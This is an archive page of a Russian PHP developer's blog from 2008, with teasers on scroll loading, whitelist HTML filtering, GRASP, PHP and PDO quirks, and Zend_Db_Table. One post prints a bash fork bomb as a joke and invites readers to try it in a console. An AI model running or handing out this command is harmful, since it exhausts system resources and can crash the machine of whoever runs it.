Archive for the ‘Работа’ Category

Подгрузка элементов как в Google Reader

Вторник, Сентябрь 16th, 2008

Мне очень понравилось, когда я впервые увидел, как в GoogleReader (GR) подгружались новые записи, при скролле страницы, и вот недавно в рамках проекта, над которым работаю, возникла необходимость реализовать подобное. Что ж, если вам идея GR понравилась так же как и мне, то вооружайтесь mootools и под катом смотрите решение. Кстати хочу заметить что из mootools исользовано очень мало компонент, так что портировать под что угодно будет не так и тяжело…
(more…)

Фильтрация вывода по белому списку

Среда, Сентябрь 3rd, 2008

Часто ли Вам, как web-разработчику, приходилось переживать за то, как вывести контент, оставленный пользователем, на страницу?
Думаю многие уже вооружались strip_tags() и htmlspecialchars(), но сегодня я пошел немного дальше. Теперь нет необходимости забирать возможность выводить любые теги, теперь можно просто указать какие теги допустимы к выводу, а так же какие атрибуты они могут содержать, ведь ни для кого не секрет, что onclick или onmouseover в безобидном теге DIV может творить чудеса :)
Под катом ссылка на скачивание и пример использования.
(more…)

ООП для ООП: GRASP

Четверг, Август 28th, 2008

GRASP - General Responsibility Assignment Software Patterns (основные шаблоны распределения обязанностей в программном обеспечении)

Когда речь заходит о термине “ООП”, все непременно подразумевают Объектно-Ориентированное Программирование, но сегодня речь пойдет не о нем. Почти. Сегодня я бы хотел рассказать о принципах Объектно-Ориентированного Проектирования, а в частности о шаблонах GRAPS и области их применения. (more…)

любителям *nix посвящается…

Четверг, Август 28th, 2008

$ :(){:|:&}:
взято с БОРа…
подсказка:


func() {
    func | func &
}
func

Все еще не разобрались? Тогда проверка в консоли вам поможет…

decbin() в PHP

Пятница, Август 8th, 2008

Сегодня maxic задал интересную задачку :) Вернее не сама задача, а ее последствия.
Итак.
Имеем число 4294967295


$n = 4294967295;

Теперь попробуем найти его в двоичное значение:


echo decbin( $n );

Все нормально. Как и ожидали - 32 единички.

А если это число пришло к нам из БД? То оно будет представлено изначально в виде строки:


$s = '4294967295';

И если мы его попробуем преобразовать, то получим всего 31 единичку…
(more…)

корявость PDO

Среда, Июль 30th, 2008

The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for accessing databases in PHP.

Собственно интерес к PDO у меня проснулся из-за подготовки к ZCE, где довольно много вопросов на нем основывалось. Нет - я не то что бы совершенно с ним знаком небыл, но использовать в боевых условиях не приходилось, а вот тут как раз подвернулась возможность засунуть PDO в реальный проект, и сразу же нашлись недостатки…
(more…)

Cuil vs. Google

Понедельник, Июль 28th, 2008

Только чтогде-то в новостях анонсировали новый поисковик Cuil, который как бы должен стать конкурентом Гугл, особенно учитывая, что создатели - выходцы из той самой Калифорнийской компании.
Что примечательно - в статье с анонсом была ссылка на информацию о ресурсе: http://www.cuil.com/info/. Но вот что меня ожидало, когда я все же открыл эту страницу для почитать:

Да уж. С такими-то проблемами им только с Гуглом и тягаться.. Ага…

UPD: 15ю минутами позже (в 16:09) страница все же появилась…

ZCE

Воскресенье, Июль 27th, 2008




Ну что - почитать три раздела и можно идти? :)

IT сообщества

Суббота, Июль 26th, 2008

За свою карьеру разработчика, я уже успел активно поучаствовать в жизни двух IT сообществ:
Украинское сообщество PHP программистов (где даже успел стать куратором) и Хабрахабр.
Каждое из них было абсолютно не похоже на другое и исповедовало различные цели. (more…)

Zend_Db_Table vs PHPDoctrine

Четверг, Июль 24th, 2008

Выдалось немного времени на эксперименты с Zend_Db_Table (ZDT) и по результатам хочу отписаться сюда :)

Итак. Не так давно в голову закралась мысль “зачем мне ORM, если у ZendFramework есть Zend_Db_Table?”. Вобщем-то довольно справедливое сомнение, если учесть, что ZDT содержит всю ту же функциональность, характерную для ORM: тут и биндинг полей к свойствам, тут и связи (даже n:m!), тут и магические аксессоры (magic accessors), тут и.. вобщем много тут всего :) Но…
(more…)